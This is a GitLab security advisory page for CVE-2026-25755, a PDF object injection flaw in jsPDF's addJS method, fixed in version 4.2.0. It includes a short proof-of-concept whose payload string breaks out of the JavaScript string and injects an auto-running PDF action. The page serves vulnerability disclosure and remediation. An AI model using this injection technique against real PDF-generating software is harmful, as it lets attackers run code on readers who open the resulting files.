Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. jspdf
  4. ›
  5. CVE-2026-25755

CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method

February 19, 2026 (updated March 19, 2026)

User control of the argument of the addJS method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.

import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";

doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");

References

  • github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md
  • github.com/advisories/GHSA-9vjf-qc39-jprp
  • github.com/parallax/jsPDF
  • github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437
  • github.com/parallax/jsPDF/releases/tag/v4.2.0
  • github.com/parallax/jsPDF/security/advisories/GHSA-9vjf-qc39-jprp
  • nvd.nist.gov/vuln/detail/CVE-2026-25755

Code Behaviors & Features

Detect and mitigate CVE-2026-25755 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 4.2.0

Fixed versions

  • 4.2.0

Solution

Upgrade to version 4.2.0 or above.

Impact 8.1 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Learn more about CVSS

Weakness

  • CWE-116: Improper Encoding or Escaping of Output
  • CWE-94: Improper Control of Generation of Code ('Code Injection')

Source file

npm/jspdf/CVE-2026-25755.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 25 Mar 2026 00:16:59 +0000.